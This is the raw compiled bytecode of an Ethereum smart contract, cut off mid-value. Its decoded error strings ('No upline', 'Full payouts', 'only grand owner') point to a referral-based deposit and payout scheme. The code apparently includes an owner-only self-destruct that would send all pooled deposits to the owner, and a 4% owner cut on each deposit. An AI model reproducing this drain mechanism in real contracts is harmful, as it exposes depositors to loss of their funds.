0x6080604052600436106101bb5760003560e01c80638456cb59116100ec578063a9c3ac531161008a578063c864130f11610064578063c864130f146109d8578063e7204ffb14610a56578063f2fde38b14610a6d578063f340fa0114610abe5761024f565b8063a9c3ac53146108b2578063afbce3b914610934578063b7d9f0d2146109835761024f565b8063970d106f116100c6578063970d106f146107305780639a8318f41461075b578063a198341614610786578063a87430ba146107bf5761024f565b80638456cb59146106735780638959af3c1461068a5780638da5cb5b146106d95761024f565b80633f4ba83a116101595780636da61d1e116101335780636da61d1e14610507578063715018a61461057357806374a88b8b1461058a57806374b95b2d146105f95761024f565b80633f4ba83a1461046c5780635c975abb146104835780636d5f6f11146104b25761024f565b80631a975376116101955780631a975376146103965780632b68b9c6146103ed578063375e5c6c146104045780633ccfd60b146104555761024f565b806315c43aaf14610254578063192ef492146102a25780631959a002146102cd5761024f565b3661024f57600160149054906101000a900460ff1615610243576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61024d3334610b02565b005b600080fd5b34801561026057600080fd5b50610269611538565b604051808581526020018464ffffffffff1664ffffffffff16815260200183815260200182815260200194505050505060405180910390f35b3480156102ae57600080fd5b506102b76115ef565b6040518082815260200191505060405180910390f35b3480156102d957600080fd5b5061031c600480360360208110156102f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f5565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018764ffffffffff1664ffffffffff16815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b3480156103a257600080fd5b506103ab61181f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f957600080fd5b50610402611845565b005b34801561041057600080fd5b506104536004803603602081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611943565b005b34801561046157600080fd5b5061046a611a4a565b005b34801561047857600080fd5b5061048161262b565b005b34801561048f57600080fd5b506104986126fe565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050612715565b604051808260ff1660ff16815260200191505060405180910390f35b34801561051357600080fd5b506105566004803603602081101561052a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612746565b604051808381526020018281526020019250505060405180910390f35b34801561057f57600080fd5b506105886129fe565b005b34801561059657600080fd5b506105e3600480360360408110156105ad57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b86565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b506106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bab565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561067f57600080fd5b50610688612ccc565b005b34801561069657600080fd5b506106c3600480360360208110156106ad57600080fd5b8101908080359060200190929190505050612d9f565b6040518082815260200191505060405180910390f35b3480156106e557600080fd5b506106ee612db7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073c57600080fd5b50610745612de0565b6040518082815260200191505060405180910390f35b34801561076757600080fd5b50610770612de6565b6040518082815260200191505060405180910390f35b34801561079257600080fd5b5061079b612dec565b604051808264ffffffffff1664ffffffffff16815260200191505060405180910390f35b3480156107cb57600080fd5b5061080e600480360360208110156107e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e03565b604051808e81526020018d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a81526020018981526020018881526020018781526020018681526020018564ffffffffff1664ffffffffff1681526020018481526020018381526020018281526020019d505050505050505050505050505060405180910390f35b3480156108be57600080fd5b506108c7612e9a565b6040518083600460200280838360005b838110156108f25780820151818401526020810190506108d7565b5050505090500182600460200280838360005b83811015610920578082015181840152602081019050610905565b505050509050019250505060405180910390f35b34801561094057600080fd5b5061096d6004803603602081101561095757600080fd5b8101908080359060200190929190505050613069565b6040518082815260200191505060405180910390f35b34801561098f57600080fd5b506109bc600480360360208110156109a657600080fd5b810190808035906020019092919050505061308a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156109e457600080fd5b50610a14600480360360208110156109fb57600080fd5b81019080803560ff1690602001909291905050506130bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a6257600080fd5b50610a6b6130ee565b005b348015610a7957600080fd5b50610abc60048036036020811015610a9057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131c1565b005b610b0060048036036020811015610ad457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133ce565b005b600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580610bd25750610ba3612db7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610c44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f2075706c696e65000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff16111561100057600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600081548092919060010191905055503073ffffffffffffffffffffffffffffffffffffffff16638959af3c600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d6020811015610db657600080fd5b8101908080519060200190929190505050600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015610e7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4465706f73697420616c7265616479206578697374730000000000000000000081525060200191505060405180910390fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701548110158015610f8957506003600160038054905003600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411610f6657600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610f70565b6001600380549050035b81548110610f7a57fe5b90600052602060002001548111155b610ffb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f42616420616d6f756e740000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110a3565b67016345785d8a000081101580156110305750600360008154811061102157fe5b90600052602060002001548111155b6110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f42616420616d6f756e740000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701819055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008018190555042600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160006101000a81548164ffffffffff021916908364ffffffffff16021790555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff167f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149f57600a818161131b57fe5b0460026000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d1600a848161148857fe5b046040518082815260200191505060405180910390a35b6114a98282613468565b4262015180600660009054906101000a900464ffffffffff160164ffffffffff1610156114d9576114d8613a3c565b5b6114e1612db7565b73ffffffffffffffffffffffffffffffffffffffff166108fc6064600484028161150757fe5b049081150290604051600060405180830381858888f19350505050158015611533573d6000803e3d6000fd5b505050565b600080600080600b54600660009054906101000a900464ffffffffff166008546009600060075481526020019081526020016000206000600a60008060ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935093509350935090919293565b60085481565b6000806000806000806000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff16600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154600260008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601549650965096509650965096509650919395979092949650565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4163636573732064656e69656420286f6e6c79206772616e64206f776e65722981525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4163636573732064656e69656420286f6e6c79206772616e64206f776e65722981525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160149054906101000a900460ff1615611acd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6000803073ffffffffffffffffffffffffffffffffffffffff16636da61d1e336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015611b4c57600080fd5b505afa158015611b60573d6000803e3d6000fd5b505050506040513d6040811015611b7657600080fd5b8101908080519060200190929190805190602001909291905050509150915080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410611c4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f46756c6c207061796f757473000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000821115611d94578082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115611ce957600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154810391505b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008016000828254019250508190555081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282540192505081905550611d933383613cfd565b5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154108015611e2757506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b15611fae576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115611f0757600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410801561204157506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154115b156121c8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015401111561212157600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410801561225b57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154115b156123e2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006015490508181600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015401111561233b57600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154820390505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006016000828254039250508190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508083019250505b60008211612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f5a65726f207061796f757400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b016000828254019250508190555081600b600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156124fe573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364836040518082815260200191505060405180910390a280600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410612627573373ffffffffffffffffffffffffffffffffffffffff167f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e4600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546040518082815260200191505060405180910390a25b5050565b612633613f75565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6126fc613f7d565b565b6000600160149054906101000a900460ff16905090565b6005818154811061272257fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6000803073ffffffffffffffffffffffffffffffffffffffff16638959af3c600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156127dc57600080fd5b505afa1580156127f0573d6000803e3d6000fd5b505050506040513d602081101561280657600080fd5b8101908080519060200190929190505050905080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206008015410156129f957600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801546103e8600c62015180600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160009054906101000a900464ffffffffff1664ffffffffff1642038161291357fe5b0402600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154028161296057fe5b040391508082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801540111156129f857600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154810391505b5b915091565b612a06613f75565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ac7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6009602052816000526040600020602052806000526040600020600091509150505481565b600080600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0154600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b0154600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c015493509350935093509193509193565b612cd4613f75565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612d9d614086565b565b6000606461013e830281612daf57fe5b049050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b600b5481565b600660009054906101000a900464ffffffffff1681565b60026020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040154908060050154908060060154908060070154908060080154908060090160009054906101000a900464ffffffffff169080600a01549080600b01549080600c015490508d565b612ea2614548565b612eaa61456a565b60008090505b6005805490508160ff16101561306457600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f3357613064565b600a60008260ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838260ff1660048110612f7c57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506009600060075481526020019081526020016000206000600a60008460ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054828260ff166004811061304e57fe5b6020020181815250508080600101915050612eb0565b509091565b6003818154811061307657fe5b906000526020600020016000915090505481565b6004818154811061309757fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6130f6613f75565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146131b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6131bf613a3c565b565b6131c9613f75565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461328a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061458d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160149054906101000a900460ff1615613451576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61345b338261418f565b6134653334610b02565b50565b6014818161347257fe5b046008600082825401925050819055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156135245750613a38565b8160096000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008090505b6005805490508160ff161015613a35578173ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561360c57613a35565b600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156136d75781600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613a35565b6009600060075481526020019081526020016000206000600a60008460ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460096000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115613a285760006001820190505b6005805490508160ff16101561390b578273ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156138fe5760008190505b6005805490508160ff16116138f857600a60006001830160ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050613848565b5061390b565b80806001019150506137c5565b50600060016005805490500390505b8160ff168160ff1611156139ca57600a60006001830360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080806001900391505061391a565b5081600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613a35565b808060010191505061358a565b50505b5050565b42600660006101000a81548164ffffffffff021916908364ffffffffff1602179055506007600081548092919060010191905055506000600a60085481613a7f57fe5b04905060008090505b6005805490508160ff161015613c7c57600073ffffffffffffffffffffffffffffffffffffffff16600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613b0b57613c7c565b6000606460058360ff1681548110613b1f57fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16840281613b4b57fe5b0490508060026000600a60008660ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254019250508190555080600860008282540392505081905550600a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a826040518082815260200191505060405180910390a2508080600101915050613a88565b5060008090505b6005805490508160ff161015613cf9576000600a60008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050613c83565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b6004805490508160ff161015613f6f57600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613db457613f6f565b6001810160ff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613efd576000606460048360ff1681548110613e1757fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16850281613e4357fe5b04905080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601600082825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea836040518082815260200191505060405180910390a3505b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508080600101915050613d6a565b50505050565b600033905090565b600160149054906101000a900460ff16613fff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa614043613f75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600160149054906101000a900460ff1615614109576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861414c613f75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff